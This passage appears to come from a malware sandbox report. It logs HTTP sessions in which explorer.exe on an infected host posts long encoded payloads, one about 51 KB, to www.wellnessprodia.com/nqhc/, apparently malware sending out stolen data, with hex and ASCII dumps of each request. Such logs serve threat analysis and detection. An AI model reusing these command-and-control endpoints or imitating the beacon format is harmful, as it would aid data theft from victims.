f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.11.20	49896	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:52.841530085 CET	12151	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 527 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 48 65 33 77 6a 51 61 63 49 78 6d 69 5f 53 71 64 37 32 53 76 30 33 68 28 52 46 2d 71 78 41 61 6b 47 51 71 47 67 5a 33 33 48 43 62 35 37 6b 47 6c 76 54 59 34 6a 7e 68 6d 66 55 6f 6a 42 38 61 79 59 34 75 7e 62 65 42 49 4f 6d 42 5a 32 6b 41 32 68 78 78 47 47 77 54 5a 32 53 35 41 37 71 42 28 37 5a 75 56 64 6a 6f 34 49 47 64 45 4c 57 42 7a 4c 66 5f 51 46 49 4c 6f 50 74 48 75 48 30 36 77 66 59 59 31 41 7e 37 4c 6e 37 5a 71 78 38 43 4e 4c 41 59 61 4a 4c 62 6b 38 54 77 50 37 39 48 6f 78 6f 62 57 71 72 49 57 62 38 63 63 49 34 51 37 49 31 7a 79 72 67 6c 47 68 41 41 46 4f 49 75 66 31 6b 36 7e 4a 4c 49 4a 6d 45 7a 73 43 6b 5a 4f 38 6d 51 7e 79 66 68 6f 50 30 6f 39 37 6c 7a 34 58 63 4b 55 76 6b 62 46 43 4c 77 33 4b 52 74 45 2d 32 4e 64 5f 78 58 75 79 54 62 6c 4b 4e 37 41 6b 70 56 64 39 34 5f 68 4f 51 39 48 30 44 6d 7e 62 43 43 6a 30 5a 53 6e 74 78 34 6d 76 50 41 72 58 66 65 56 33 4d 5f 33 31 4a 47 72 7a 6a 58 76 6d 4e 75 65 6d 61 62 53 44 55 6a 33 77 4b 56 45 58 42 42 51 4a 7a 47 7a 51 77 48 4c 47 74 45 44 47 63 6b 4d 5a 6c 4a 6d 70 4c 68 6f 37 65 73 67 5f 62 56 4b 4c 54 4c 6f 62 58 36 46 77 70 6a 68 4d 49 52 78 32 4f 6d 32 5f 58 47 74 71 6a 31 67 5a 42 6c 4f 39 33 74 31 71 72 53 58 67 66 69 6b 73 50 4b 6a 62 53 44 68 48 62 51 47 55 4d 46 51 38 5a 6c 4b 6f 6f 78 31 6f 68 5f 4e 63 6d 52 48 37 6d 38 58 67 75 61 4b 64 63 46 6a 42 36 48 37 35 5a 4f 69 61 56 59 75 38 33 74 46 74 4d 30 55 34 41 67 33 6c 4f 72 75 62 54 35 73 4a 75 58 6f 37 74 6e 33 62 4c 79 78 48 43 36 67 53 63 39 70 4b 43 42 67 35 76 73 62 4c 38 2e 00 00 00 00 00 00 00 00 Data Ascii: 7nWHV=RAo-jdSnhhjKSHe3wjQacIxmi_Sqd72Sv03h(RF-qxAakGQqGgZ33HCb57kGlvTY4j~hmfUojB8ayY4u~beBIOmBZ2kA2hxxGGwTZ2S5A7qB(7ZuVdjo4IGdELWBzLf_QFILoPtHuH06wfYY1A~7Ln7Zqx8CNLAYaJLbk8TwP79HoxobWqrIWb8ccI4Q7I1zyrglGhAAFOIuf1k6~JLIJmEzsCkZO8mQ~yfhoP0o97lz4XcKUvkbFCLw3KRtE-2Nd_xXuyTblKN7AkpVd94_hOQ9H0Dm~bCCj0ZSntx4mvPArXfeV3M_31JGrzjXvmNuemabSDUj3wKVEXBBQJzGzQwHLGtEDGckMZlJmpLho7esg_bVKLTLobX6FwpjhMIRx2Om2_XGtqj1gZBlO93t1qrSXgfiksPKjbSDhHbQGUMFQ8ZlKoox1oh_NcmRH7m8XguaKdcFjB6H75ZOiaVYu83tFtM0U4Ag3lOrubT5sJuXo7tn3bLyxHC6gSc9pKCBg5vsbL8.
Dec 5, 2022 15:17:53.014596939 CET	12152	IN	HTTP/1.1 404 Not Found Date: Mon, 05 Dec 2022 14:17:52 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Fri, 01 May 2020 23:50:34 GMT Accept-Ranges: bytes Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 462 Content-Type: text/html Data Raw: 1f 8b 08 00 00 00 00 00 00 03 5d 92 4d 8f d3 30 10 86 ef fd 15 43 38 00 52 dd 8f a5 0b 28 1f 15 17 e0 82 d0 6a 57 70 9f c4 d3 c4 c2 f1 04 7b da a6 ac f6 bf 6f 9c b4 cb b2 f2 c1 f2 78 de 77 9e 19 3b 7f a5 b9 92 53 47 d0 48 6b b7 b3 3c 6e 60 d1 d5 45 42 2e 89 01 42 bd 9d 01 e4 2d 09 42 d5 a0 0f 24 45 b2 97 9d fa 94 fc bb 68 44 3a 45 7f f6 e6 50 24 bd da a3 aa b8 ed 50 4c 69 29 81 8a 9d 90 1b 54 86 0a d2 35 4d 3a 31 62 69 bb 59 6d e0 8b f7 ec f3 e5 14 78 b2 74 d8 52 91 1c 0c 1d 3b f6 f2 cc e5 68 b4 34 85 a6 83 a9 48 8d 87 39 18 67 c4 a0 55 a1 42 4b c5 3a 79 69 e3 b9 64 09 cf 4c 1c 1b a7 a9 9f 83 e3 1d 5b cb c7 49 12 e4 34 31 00 7c 6e 49 1b 84 50 79 22 07 e8 34 bc 6d b1 9f 0a a6 d7 ab 55 d7 bf 83 fb 31 13 a0 64 7d 82 7b d8 0d ee 2a 98 bf 94 c2 e2 03 b5 19 3c c0 98 f0 10 ad 97 67 ef 7c 39 cd 74 96 8f aa 31 5a 24 42 bd 28 b4 a6 76 29 54 03 21 f9 6c 20 8a ba 66 7d c9 19 ed 77 d8 1a 7b 4a e1 1b b1 af 0d ce 21 90 37 bb 6c e8 cc b2 4f e1 f5 06 e3 ca a0 c5 e1 da 29 e1 2e 85 4d 64 b1 c6 91 6a c8 d4 8d a4 b0 5e 5c 67 c9 d4 e7 1d 7b 7f 9a 83 34 26 40 87 35 81 66 0a ee 8d 00 f5 26 c8 22 2f fd f6 c6 12 06 1a 5e 9f aa df 43 22 c1 cf db ef c0 1e 6a 86 12 87 10 8e c2 c5 d8 65 b3 8e b6 23 f8 d5 05 1c e0 3f f4 5f e4 35 ba 88 8e 2e a8 17 fc 1f 75 5c d9 a4 38 9e 71 df af 56 17 dc a7 0f b3 80 9b 48 fb 83 05 be f2 de e9 73 f9 ab b1 7c be 8c c3 8d 43 5e 4e 3f fb 11 21 b9 04 0e ea 02 00 00 Data Ascii: ]M0C8R(jWp{oxw;SGHk<n`EB.B-B$EhD:EP$PLi)T5M:1biYmxtR;h4H9gUBK:yidL[I41\|nIPy"4mU1d}{*<g\|9t1Z$B(v)T!l f}w{J!7lO).Mdj^\g{4&@5f&"/^C"je#?_5.u\8qVHs\|C^N?!

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.11.20	49897	192.232.217.125	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Dec 5, 2022 15:17:55.030141115 CET	12157	OUT	POST /nqhc/ HTTP/1.1 Host: www.wellnessprodia.com Connection: close Content-Length: 51815 Cache-Control: no-cache Origin: http://www.wellnessprodia.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://www.wellnessprodia.com/nqhc/ Accept-Language: en-US Accept-Encoding: gzip, deflate Data Raw: 37 6e 57 48 56 3d 52 41 6f 2d 6a 64 53 6e 68 68 6a 4b 53 48 65 33 77 6a 51 61 63 49 78 6d 69 5f 53 71 64 37 32 53 76 30 33 68 28 52 46 2d 71 79 67 61 6a 31 6f 71 45 44 68 33 30 48 43 62 6e 4c 6b 48 6c 76 54 56 34 6e 61 6c 6d 66 4a 64 6a 44 30 61 78 4c 77 75 7e 70 47 42 4e 4f 6d 45 63 32 6b 43 79 68 78 44 47 42 34 39 5a 79 79 44 42 4b 75 42 7e 34 42 75 44 37 72 72 69 34 47 62 45 4c 57 7a 33 4c 66 33 51 46 4d 6c 6f 50 78 48 75 42 73 36 78 70 45 59 33 52 7e 37 47 58 37 47 78 68 38 37 44 62 42 67 61 4a 65 5f 6b 38 54 67 50 36 35 48 6f 32 38 62 58 70 7a 4c 56 37 38 63 43 59 34 54 28 49 70 76 79 71 4d 39 47 67 30 41 46 4a 55 75 66 56 6b 36 73 38 28 50 5a 32 45 39 6f 43 6b 30 45 74 61 59 7e 79 4c 66 6f 4e 34 6f 7e 4c 78 7a 35 67 41 4b 52 4c 49 62 4c 43 4c 79 7a 4b 52 2d 4b 65 32 6e 64 5f 41 2d 75 7a 7a 55 6c 4e 31 37 42 41 39 56 5a 5a 6b 38 31 65 51 5f 62 6b 44 6f 7a 37 47 34 6a 30 4a 4f 6e 74 77 6c 6d 74 6a 41 71 6d 76 65 53 43 67 67 7a 6c 4a 42 6e 54 69 58 68 32 42 6b 65 69 43 44 53 44 39 6f 33 7a 6d 56 57 6e 42 42 57 6f 7a 46 35 67 77 4b 4a 47 74 57 65 57 63 5f 4d 5a 35 5f 6d 73 71 65 6f 4c 79 73 68 4d 7a 56 4e 62 54 45 73 37 58 41 63 41 70 6c 6c 4d 49 52 78 32 44 52 32 5f 72 47 75 62 72 31 6d 36 5a 6c 66 4b 4c 74 36 4b 72 55 58 67 66 33 6b 73 44 44 6a 62 71 68 68 47 72 36 47 58 67 46 54 6f 64 6c 47 4a 6f 79 77 59 68 2d 4a 63 6e 49 4a 62 72 6a 58 6b 4f 53 4b 64 4d 4b 6a 32 43 48 70 4a 4a 4f 70 36 56 5a 71 63 33 75 56 39 4d 59 65 5a 39 6b 33 6c 36 64 75 62 50 51 73 4b 75 58 74 4f 78 77 6f 35 33 78 69 42 54 62 7e 55 30 4e 74 49 61 65 6c 4a 72 32 5a 5f 42 78 43 6c 54 5f 53 77 7a 50 30 45 4a 72 55 48 51 59 4c 32 4b 30 59 6e 61 76 6b 73 49 4a 7a 44 4b 72 76 53 55 50 68 4e 64 64 70 74 6c 72 39 77 77 4b 35 53 61 6a 7a 76 6c 66 57 77 63 66 74 48 59 62 51 6d 68 70 4d 74 57 73 38 2d 28 4a 28 6f 4d 79 74 77 55 4f 6e 53 67 55 71 65 61 49 58 30 73 49 79 4f 35 2d 44 6c 6b 41 72 70 61 46 6d 74 6d 5f 70 42 63 73 7e 45 74 30 6d 78 33 51 39 69 45 42 53 5a 47 72 32 64 34 4c 77 32 64 71 6a 47 47 4b 66 4a 44 54 66 5f 38 4d 6b 79 77 4f 70 50 6c 4a 32 43 31 56 41 75 42 49 66 68 56 59 33 68 68 52 57 52 76 57 4d 47 32 56 32 32 65 4a 79 43 72 66 36 30 45 38 69 65 7a 49 31 38 6e 52 38 52 6a 74 6d 77 4e 7a 28 48 6d 52 7a 47 5a 48 51 47 4d 33 48 4c 6a 4b 70 46 6b 36 68 37 45 75 73 59 6b 66 6e 79 71 53 52 6c 37 4f 34 54 62 39 66 6d 67 59 39 57 42 5a 69 44 68 57 7a 49 6c 70 62 53 58 50 75 4e 66 2d 6a 6d 6b 38 50 38 6d 58 44 55 4a 30 47 48 4e 56 43 53 4f 32 65 34 32 54 6d 4a 76 6f 67 37 34 33 50 56 33 6a 62 4c 67 74 55 4b 6c 31 56 64 68 30 42 5f 44 34 32 76 4d 77 4f 49 64 7a 79 6f 44 44 69 39 6d 4f 41 71 62 59 47 59 70 4d 6c 4f 49 4b 4d 6a 37 66 68 59 34 75 47 65 4a 34 34 38 63 61 70 56 72 63 71 48 7a 39 7a 41 37 77 64 4a 39 4a 34 6c 64 47 54 58 50 77 42 44 6a 74 54 66 4f 55 4e 6d 77 43 76 41 54 35 4a 65 39 78 30 45 47 6c 6d 47 61 37 61 48 45 71 57 4c 4f 6d 6d 6e 6e 62 66 50 6b 51 61 4d 4e 36 36 57 63 74 4a 38 49 2d 73 56 7a 4c 53 64 31 51 31 51 68 69 45 30 76 2d 51 5f 6f 47 38 37 4b 72 35 58 70 43 6c 6b 48 4d 45 66 75 4e 38 6e 44 38 51 77 35 44 73 6f 6a 4d 63 6d 6a 67 43 43 5a 4d 6f 49 50 4d 79 78 33 53 55 73 39 6f 76 4a 45 65 73 34 63 6c 76 57 70 32 76 47 31 2d 45 4e 39 6a 4a 6c 50 66 35 57 54 69 53 79 59 77 6d 6a 48 71 70 6e 7a 49 44 54 51 6d 42 43 33 53 73 55 30 38 47 41 39 35 69 76 5a 2d 42 46 33 6d 38 58 71 57 7e 33 6f 4b 75 55 64 44 74 65 72 41 55 41 6e 69 59 6b 64 31 39 63 43 4d 39 47 33 48 6b 6f 55 4f 59 75 75 67 6f 57 70 6a 62 4a 35 56 38 53 66 54 48 63 63 6f 4b 47 6c 67 33 47 36 6b 37 43 39 53 52 76 74 6b 52 4b 50 32 41 31 59 69 64 30 6e 61 6e 4d 4d 51 4e 64 55 74 53 55 30 4d 44 58 4c 6f 6f 71 6b 59 51 79 36 6b 4f 44 33 67 32 55 57 72 38 43 32 61 63 75 50 49 47 67 79 4e 78 79 65 33 32 49 68 2d 35 79 57 6b 63 62 74 78 42 42 38 69 57 7a 41 4e 4e 6d 68 33 59 64 54 6f 31 57 44 73 76 68 77 67 4a 47 63 6d 36 72 39 5f 31 62 28 31 71 69 7a 7a 4f 59 34 45 4c 39 79 30 75 66 36 4c 34 35 72 79 66 38 58 5f 67 42 7a 79 79 62 4b 33 41 51 5a 55 66 4e 66 39 7a 72 4e 57 34 53 64 57 72 71 47 46 6b 63 28 6f 53 74 6b 2d 43 66 62 50 72 69 52 68 68 62 56 4a 43 Data Ascii: 7nWHV=RAo-jdSnhhjKSHe3wjQacIxmi_Sqd72Sv03h(RF-qygaj1oqEDh30HCbnLkHlvTV4nalmfJdjD0axLwu~pGBNOmEc2kCyhxDGB49ZyyDBKuB~4BuD7rri4GbELWz3Lf3QFMloPxHuBs6xpEY3R~7GX7Gxh87DbBgaJe_k8TgP65Ho28bXpzLV78cCY4T(IpvyqM9Gg0AFJUufVk6s8(PZ2E9oCk0EtaY~yLfoN4o~Lxz5gAKRLIbLCLyzKR-Ke2nd_A-uzzUlN17BA9VZZk81eQ_bkDoz7G4j0JOntwlmtjAqmveSCggzlJBnTiXh2BkeiCDSD9o3zmVWnBBWozF5gwKJGtWeWc_MZ5_msqeoLyshMzVNbTEs7XAcApllMIRx2DR2_rGubr1m6ZlfKLt6KrUXgf3ksDDjbqhhGr6GXgFTodlGJoywYh-JcnIJbrjXkOSKdMKj2CHpJJOp6VZqc3uV9MYeZ9k3l6dubPQsKuXtOxwo53xiBTb~U0NtIaelJr2Z_BxClT_SwzP0EJrUHQYL2K0YnavksIJzDKrvSUPhNddptlr9wwK5SajzvlfWwcftHYbQmhpMtWs8-(J(oMytwUOnSgUqeaIX0sIyO5-DlkArpaFmtm_pBcs~Et0mx3Q9iEBSZGr2d4Lw2dqjGGKfJDTf_8MkywOpPlJ2C1VAuBIfhVY3hhRWRvWMG2V22eJyCrf60E8iezI18nR8RjtmwNz(HmRzGZHQGM3HLjKpFk6h7EusYkfnyqSRl7O4Tb9fmgY9WBZiDhWzIlpbSXPuNf-jmk8P8mXDUJ0GHNVCSO2e42TmJvog743PV3jbLgtUKl1Vdh0B_D42vMwOIdzyoDDi9mOAqbYGYpMlOIKMj7fhY4uGeJ448capVrcqHz9zA7wdJ9J4ldGTXPwBDjtTfOUNmwCvAT5Je9x0EGlmGa7aHEqWLOmmnnbfPkQaMN66WctJ8I-sVzLSd1Q1QhiE0v-Q_oG87Kr5XpClkHMEfuN8nD8Qw5DsojMcmjgCCZMoIPMyx3SUs9ovJEes4clvWp2vG1-EN9jJlPf5WTiSyYwmjHqpnzIDTQmBC3SsU08GA95ivZ-BF3m8XqW~3oKuUdDterAUAniYkd19cCM9G3HkoUOYuugoWpjbJ5V8SfTHccoKGlg3G6k7C9SRvtkRKP2A1Yid0nanMMQNdUtSU0MDXLooqkYQy6kOD3g2UWr8C2acuPIGgyNxye32Ih-5yWkcbtxBB8iWzANNmh3YdTo1WDsvhwgJGcm6r9_1b(1qizzOY4EL9y0uf6L45ryf8X_gBzyybK3AQZUfNf9zrNW4SdWrqGFkc(oStk-CfbPriRhhbVJC_jc5GUlAAIcYH7FTNh1gYHF~s7PIdihL-Z3Cv6x~n54ISVTFiKey_l2kXtugXURFlbACweHIyiuRcpBddNOOKy8vxv36s1yMIFc~95MeEjpMgv9YEmK3FTmYzRyXg8pdIgJ3wPAqo9gKKElKzkLUuhPBO2IH28huYPXWh3XRZjr7GVDaPrLTOea5zSFs4~KTQwVQo4wqwbqNv~1gZNZ9010mGHPDvo40WEyj2GFRZfs~1m5Aqy3KEQvRKeJaA698kbVnTSu8jDbO22eYl8T9xKuyjq9ESIFO_J3D6yc6aupDQm1~3lsnVtPuq7lZN24RPH41sYyj2JKiY2iOMLOtO5bDC05VFzVKgVj2opglg(CkQy0ynZENWdL~936Nw52~ZVD4gkGukUKtniVc9Tl6lremncSEMNtlDyWNiNcw1LdSdlfqHFQxB89c6Y4mJRgE47R208PWDfLEslb1TkzGi6jGucZ~ND0lsbPFRfZT_QYi7mETDMqJ-2QKqKQzmELGUHjrJ7b482BghNmKwu0icnORdqn(W(T(YK_be2I103bQidorGtU~HxEiZaDZFO8j4HJcCRwO7OE5OXyaTUK(Y1vdqo14GOutUP6w0rdT_ac1ndEdvE8ig6aEbzGWb1Ey22kHo6eOFe-l2W-fuqcy4TD0picIU6iEHf1apeWZ-Y2qoSCqPqnipJFaRlc7YC-2Ff8M4sY7q~TmwjntURMsvJJZjIaUu3_eGr7zZ6EdqcicRa9YIZJhdA9vz0mehWuKsrH3n2cMILpySDJseg6Z7GveovvVG847DfOq5X_phgo4-zssnJ6tw6hJCSW89M7UKvrmyNo(WV0GBHkQjEQj-LVb6g8I3Ie(SOMlLporjpjZgoyIgFMWkkPY5qr1MzFtv5a8AiRolZkcUYcME3R7ama0VIqEkGl5qksdR(CRbFHF8jdH7B4BWPdm9rGM5IcK-B4S7wtFkly~_PvsVPH1mfIPSFbtgzFgk12umPnRuJtO-tIj4QaQEjw6a~dYPN-BRq4ordG2TuRt3z9iM~0IBsftm58MU2vYRhyvQhWZsaXhw~pfrUGNSu8HSw42FJ-sUTe706rbsHJcZycctBa8DsUBDCioEDeOY3uxN571pXN(DP0S87WIIwHSzLB9aoY0LWX74RKc0uVWjDlmCzbRY~DX6oGVKzXjXRRHVY-rmVDTvaf6tvjgyFXQpV8wbnNu3xzNAU5IDoijZRGTR5Fcynd1_SbrD~UK9ZzE63mp3IqsOhyQgwBN-exRI76iwiVKWjUyj4QH7KXR1sMBOP677zLiS~RSHAkrKXC125v5eaapZHwWuyxl69B7lL97zSSXKcPCmPa1gJMBVvHPHY1ZysU2tpWBHZb5NSZ6ia1e2D8dwM1QmirwjhrcvB0jsbI1m5MlpKUuB7EhIwNXoE94dvt5cMi5PocKx(vS3CL07Sr7PGpO17EWohzd2bE4UptV7bFuJomvWty4lYvo4h6(NU0fQFNuJdYy2SeOVrWRF(uZX3_603v0GO0zoCL(rI-2ssIgxSm8nJgmtAEPDOYMWI5E-mdPf9L2tUcKWvFMTUoql8ENRNabpSVJnxO6lqVUUSnJkyc3bIhjuElWJbbKKKL7UyGxtPEqS4nMvrVE1Ndxh6PBE5ho9MFqs4CkW6TcNNecdivg1LQFE7yJLNY5ZbwLB9AuttYCjZKLSJsyoLB6J0UxkdVK1i_QNKyYewVOfXmXNjtLyLMIlVhuAVsIlAdDZd2p51ty8WaH-xG4QIDEqiWLv877cTrX3ElFzACEGBBUEWlc6VLK6z_7ybeyDVPA8f_~p65eM2GP26rBPjQUR9TtfEUIfaJg031LzaDsLSsg376pO4yFHcEJk8Pkdbu6v3NEkC4i0JeH99P8sBR7Us1h-J2fFRVlwbA7tdTGdCSDHVzrMwEnMWW~ZtYforHNi(TzRL96wAI7ham8Azb167aWRGms9nVePh0pVIFAX7v5hWGAPGuFx(umXZnQCfzZOvZ7fY2CYCx~s3w9mmXY3EeaPRKLrz7OzfEfQ1zquDpP7Bc6z2-2aoUlEyhZLJPwSXunHYhm8S-nEiZxaw_~UUfIn85vESrQznSo1WJpIY5UkhHicFDUFDGjVdgleP8igrLU6OhrhyzhHKZpDCzpYklHox-kMOmtnoqn-q_cCqvz0KAbDX63KaUHqWBZ00tijnKX48L2hHL~tPZVOx8c9QDc-yj(bEf0epknPo9m1F_c-CGlqLNUtqclr6_FaCwNM46WUpAVQomQ4gdKtg16lPzPRIo(yGh2r4TrBiDT92tlCb8OT0Ak_tzVnBj~bTaxasNmiwDOVB4M-~ZFk6b(Y2Zf1phZ78GeX0t696ZzKzNHGZgrazS2k1pCl1MizSKas3dAo~NrA6Rn5XeNyu9lr9Dl5qN1To2BZe1wuEGPiFrtZFiNOsuQGh3bYZUdX45zTf0PV7WEoHp1qWFC-Dr26RfnljlMj8vLkpiDZ4xVjQVwXn2DfXyEZNFb4ZO85veLpcldTuoeMHZCTATzlXais~ZMGmjOAfMUyXqiuerWz0Aq2VL3hCO6lQbOyetK1fBW5o8LQO1uNVS9z4-mscTk8qNypENHwHGf6K48uXvHU0KGpmEOfPnIPye6GIgo4qb(oIBHwoGA0UgQybk7vA1153j8PsdJ1T65eoiMN3tMVm8BEfexj6y2WV-IAWv~WloWKXmXTST~Eys
Dec 5, 2022 15:17:55.030236006 CET	12165	OUT	Data Raw: 76 75 41 70 48 65 6f 67 62 36 79 36 77 63 44 36 64 79 6b 76 39 4e 48 78 58 66 66 53 76 77 30 73 61 54 32 61 67 30 4a 44 73 41 57 6c 32 75 59 7a 74 74 39 36 7a 42 55 56 65 78 44 4e 39 79 76 6c 37 70 59 4c 49 4b 4b 59 57 62 42 77 69 4b 53 47 77 4f Data Ascii: vuApHeogb6y6wcD6dykv9NHxXffSvw0saT2ag0JDsAWl2uYztt96zBUVexDN9yvl7pYLIKKYWbBwiKSGwOzXAjUJZLdU3GCyv1siE7IhddJMECAZ0DcbGhGk8PcpEY7bkkhXT33v392DThL9cx2lKoWhYXJTK2kULTpqvH~qX9G2WErNl1HH5cETKznEZIpRgzXZ9dfDcWxtWpzpTICoVPg6OYJ-DYsTwo0-AUt7N74SoFPqNP9
Dec 5, 2022 15:17:55.192815065 CET	12168	OUT	Data Raw: 7a 68 44 57 68 35 4f 68 48 37 5a 70 39 72 75 79 41 7a 61 6d 79 36 76 53 70 69 54 62 6e 6c 52 33 4f 68 63 50 65 54 63 41 63 56 54 4c 6e 45 6f 61 49 72 64 4e 66 57 61 31 6f 32 4f 44 32 45 64 76 31 44 58 6c 56 34 6b 4f 32 5f 31 48 4b 39 73 63 6c 78 Data Ascii: zhDWh5OhH7Zp9ruyAzamy6vSpiTbnlR3OhcPeTcAcVTLnEoaIrdNfWa1o2OD2Edv1DXlV4kO2_1HK9sclxhWyrUCTXzzRm2sJNaj~G7LozL-eXhjMe4L166KoQ84zgtOX5pmYpyDi7k23RCDvy8EX8IP0DCN1XlZOCkWDBQbYzWIiDwS5Ee8S3KMcPk3BPoadgvQGThkQQZkJDv_leIxnuN3AwQtlSI2gGQee46XUxRRnCNxSnr
Dec 5, 2022 15:17:55.192960978 CET	12170	OUT	Data Raw: 52 58 48 4b 5a 61 44 43 70 53 55 61 52 53 37 67 7a 69 67 57 6a 44 62 78 6b 36 32 39 52 58 54 41 46 52 61 64 72 50 4f 33 61 6b 54 53 5a 51 7a 64 56 72 65 44 37 79 44 57 45 36 78 35 36 54 76 6b 6f 75 4e 31 39 38 50 57 7a 54 78 6b 7a 50 73 51 59 75 Data Ascii: RXHKZaDCpSUaRS7gzigWjDbxk629RXTAFRadrPO3akTSZQzdVreD7yDWE6x56TvkouN198PWzTxkzPsQYuJVjDOR(6otjNN8gzjek0JZz8j-Au97FfgdaumFiaptsfrZ3oVknSR9gKhx7sfE(7DV0LOOJF3XWLSaDd1_g4O8NWZ9Wgc91PACh41GqTyoSyPKZj6t3Wku~5hu9xdyXsMOza7csKjxw_HMdxf_tsVTw_qxHkwWHo3
Dec 5, 2022 15:17:55.193131924 CET	12173	OUT	Data Raw: 65 62 6d 77 6f 2d 41 36 33 31 31 43 56 52 57 67 6e 50 4e 48 39 53 6e 65 4c 6f 33 30 33 47 45 74 72 56 55 38 62 45 45 59 71 63 43 47 76 4d 6c 4c 59 35 54 51 4f 63 47 42 58 68 72 44 6e 4c 4e 4e 53 61 74 35 70 46 54 66 63 6f 70 72 6b 65 51 6e 6b 4e Data Ascii: ebmwo-A6311CVRWgnPNH9SneLo303GEtrVU8bEEYqcCGvMlLY5TQOcGBXhrDnLNNSat5pFTfcoprkeQnkNZvFbMjyxwlpXbWcc9kO8(3Kh5K19c3AyDs94SXpiZkepJsLGx0EwFbLW9g0vjCIo57e6Ntm-poNT2pvnp549s9IAQ93Wvs9giqpI1sA3uLCaCfdsRLFNFD7d7CvyfGSoBus2voQN7ekpRPxwQ3TfK89UfGhmh6phW
Dec 5, 2022 15:17:55.193316936 CET	12180	OUT	Data Raw: 71 79 36 44 73 4f 51 77 62 6d 4e 5a 53 4a 45 4a 69 31 62 4b 4a 43 6e 6d 67 6d 41 4f 28 31 73 41 62 54 62 6a 4b 34 69 77 7a 6d 32 79 64 30 35 73 41 67 4c 36 6a 75 6b 61 76 79 38 33 6f 66 4f 64 6a 45 49 78 7a 6b 38 7a 52 4c 32 69 68 69 75 50 48 34 Data Ascii: qy6DsOQwbmNZSJEJi1bKJCnmgmAO(1sAbTbjK4iwzm2yd05sAgL6jukavy83ofOdjEIxzk8zRL2ihiuPH4nSYK(3ips50dpOlKi9bp7OkPwvDM2SvdDtQ25FgDRM(podp6lV7dNAM1TtNxTvTxUbFXgRgbJ3NlpWXgsYXoxwAGpCPU72JSG-fAiw1-6dCP2e3-bQiqFOFinMsGjhfNTumy8y4okqlCrM4HTbX0(vUGz2K9TxCnh
Dec 5, 2022 15:17:55.193473101 CET	12183	OUT	Data Raw: 77 66 41 54 6d 65 46 4f 39 41 66 73 47 47 53 6a 7e 57 61 49 70 45 66 5a 51 56 30 77 69 59 69 68 62 32 32 2d 71 6a 6b 73 79 63 4e 72 47 61 44 62 4f 6e 6d 30 5a 57 79 43 76 73 4a 74 71 69 36 35 35 30 42 31 68 6b 34 41 75 4d 54 64 72 49 39 51 34 48 Data Ascii: wfATmeFO9AfsGGSj~WaIpEfZQV0wiYihb22-qjksycNrGaDbOnm0ZWyCvsJtqi6550B1hk4AuMTdrI9Q4HI-Xvw-cRwmdSof9j6VKdfgS7Y_AFJq6NbD3zarruKo(Cgal5(tL2Lm2ThGd7m9z9BEmlzTlmmFbrOdbdQk9jqL9kC4daS2scwc8QNNtNeDJkzDbAcy9DwaEoh22UqEjiLFi5gSvdMeeSc-X51I1ewEQdwAzcjP0Hx
Dec 5, 2022 15:17:55.193645954 CET	12191	OUT	Data Raw: 75 30 4e 62 41 68 45 35 52 45 7a 68 67 61 67 66 33 49 4f 4b 34 58 57 4e 33 61 5a 66 4b 37 38 70 54 6a 59 52 46 65 28 4a 72 6a 46 75 5a 6b 28 4a 74 32 6b 72 6e 38 37 45 66 75 44 35 36 53 31 36 46 42 66 59 76 45 33 50 45 34 5a 69 39 56 6e 75 6b 47 Data Ascii: u0NbAhE5REzhgagf3IOK4XWN3aZfK78pTjYRFe(JrjFuZk(Jt2krn87EfuD56S16FBfYvE3PE4Zi9VnukGHLkZlGmqHypPn32x2JRVwRUUgs(Lb3MtQ_jitjUkrt8LSmgou6DL3trTfw~r~DJHiv6YxLuQ2R84sXCt3eV_y0DFltMDCS87haEaJy0u37cDEsFM6nGd6f2thR3FMMYzKtREvKmwzhDJNqweK1XLdOKWMVYZbtCD8
Dec 5, 2022 15:17:55.356389046 CET	12194	OUT	Data Raw: 69 4c 72 46 42 6f 69 66 33 2d 78 77 6c 2d 6e 4c 54 78 36 35 4c 50 50 31 48 30 57 42 64 56 48 45 4d 37 6f 55 69 53 76 69 41 38 5a 49 43 53 66 37 4f 37 46 41 6f 43 43 44 56 61 79 5a 4a 43 52 72 68 35 6b 6d 38 62 78 47 6b 56 6c 56 52 64 48 6a 33 57 Data Ascii: iLrFBoif3-xwl-nLTx65LPP1H0WBdVHEM7oUiSviA8ZICSf7O7FAoCCDVayZJCRrh5km8bxGkVlVRdHj3Wyr(VmNo6HFDX6CGYW2zWgLFrrpyULq~910PwI2wrdB6CrIbGxrSqp0Y9UHTFvN5Xt07gqqd42JsSeFNP0YyIBXhx4PMMnLGXBoCOzG6EL-s87fv0tXX3Jvs7hkQZ(eH8EsSYDQV8mu7Q5Y0DXed-dcP5AhG44o8s7
